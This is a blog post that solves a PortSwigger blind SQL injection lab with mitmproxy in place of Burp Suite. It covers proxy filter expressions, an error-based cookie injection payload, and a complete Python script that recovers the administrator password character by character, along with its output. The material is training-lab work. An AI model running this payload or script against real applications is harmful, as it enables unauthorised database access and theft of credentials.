Using mitmproxy instead of burpsuite? (exploring a blind sqli portswigger lab)

PortSwigger made a powerful tool burpsuite for performing security testing of web applications. in its community edition it includes tools like repeater, decoder/encoder, burp intruder which helps in modifying http requests and study its behaviour.

mitmproxy is a free opensource interactive https proxy. its features includes intercepting HTTP & HTTPS requests, save http conversations for later replay analysis, make scripted changes for http traffic using python

for whatever reason, i will try using mitmproxy to solve a blind sql inejection vulnerability using mitmproxy. the lab description goes like. the goal here is to try to solve this challenge by using mitmproxy and not burpsuite, python scripting is permitted of course.

Challenge description

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie. The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows. If the SQL query causes an error, then the application returns a custom error message. The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user. To solve the lab, log in as the administrator user.

exploring mitmproxy

after setting up the browser, and opening mitmproxy i will make a get request to / using the browser. looking at mitmproxy i see a lot of requests.

mitmproxy with a lot of requests

a lot of them are just images (svg,png,etc…). i don’t need those on my screen so i will filter them using mitmproxy's filter expressions

just by pressing the f key, at the bottom it will prompt you to inter a filter expression.

i found the following

~c              status code
~u regex        URL
!               unary not
&               and
|               or
(...)           grouping

i can filter the images by: set view_filter '!(~u /image)'

mitmproxy with a lot of requests

i still see a problem. i want to focus on just one domain the domain of the challenge. using the following solves the issue

set view_filter 'web-security-academy.net & !(~u /image)'

playing with it i found this to filter all unwanted requests.

~u web-security-academy.net & !(~u /image | ico | css)

clean

you can intercept requests by pressing i and use filter expressions to select which requests you want to intercept and which ones to ignore. by using ~q you intercept all request. but we don’t need that now so ignore this

now i will press z to clear all flows and make a new request with the browser. i’ll select the first request.

first request

let’s try to see if the cookie TrackingId=iubY1Hw83n9Ea9m2; is vulnerable to sqli. i will just append a single quote to it at the end.

press e to edit the request and then press 1 to edit the cookies.

first request

Cookie: TrackingId=iubY1Hw83n9Ea9m2'

after finishing press escape to return to the request and then press r to replay the request. it did respond with error 505 internal server error

clean

The goal of this blog post is not to write a writeup about how to exploit this blind sql vulnerability. its goal is to try using mitmproxy as an alternative to burpsuite and see it it makes that diffirence. you can read the solution here on portswigger web security academy.

after going through the challenge. to get the password you have this query where xyz is your cookie and SUBSTR(password,1,1)='A' is guessing the password character by character.

TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='A' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

in portswigger’s writeup they used burp intruder to automate the process. but unfortunately mitmproxy has no similar feature so i wrote python script to do it for me.

#!/usr/bin/env python
import requests, urllib3
from string import ascii_lowercase, digits
import time

urllib3.disable_warnings()

# your challenge url
url = "https://your-challenge-url.web-security-academy.net/"

proxies = {
    "https": "http://127.0.0.1:8080"
}

req = requests.Session()

abc123 = ascii_lowercase + digits

# Your cookie here
headers = {"Cookie": "TrackingId=xyz"}

def make_query(c: str, count: int = 1) -> str:
    return f"'||(SELECT CASE WHEN SUBSTR(password,1,{count})='{c}' THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'"

pass_len = 20

def solve() -> str:
    j = ''
    count = 1
    while len(j) != pass_len:
        for i in abc123:
            cookie = headers['Cookie']+make_query(j+i, count)
            H = {"Cookie": cookie}
            print(f"Trying: {H['Cookie']}")
            x = req.get(url,
                        headers=H,
                        proxies=proxies,
                        verify=False)
            if x.status_code == 500:
                count += 1
                j += i
                print(f"[+] Found: {i}")
                print(j)
                continue
    return j

print(f"administrator:{solve()}")

i add this part to pass all the requests on mitmproxy to see how is everything going.

proxies = {
    "https": "http://127.0.0.1:8080"
}

the script output goes like

Trying: TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Trying: TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='b' THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Trying: TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='c' THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
[+] Found: c

Trying: TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,2)='cd' THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'

...
...
...

administrator:cwok4lewga8jbhkodnb6

now let’s see how mitmproxy is doing.

mitmproxy

using a filter expression

~u web-security-academy.net & !(~u /image | ico | css) & ~c 500

adding ~c 500 to filter the status code only err 500

Conclusion

burpsuite

burpsuite is a very powerful tool with many features

  • easy to use
  • beginner friendly GUI
  • has a lot of tools built-in
  • it’s meant for web application security
  • burp scanner (Professional edition)
mitmproxy

you can replace burpsuite with mitmproxy but you will have to give up many burp advantages. if you are going to use mitmproxy you will have to

  • do everything manually
  • write scripts to automate tasks
  • Learn mitmproxy’s interface
  • use other tools (like sqlmap for example) along side with mitmproxy to do automated scanning.
Copyright © 2024 Youssef Hesham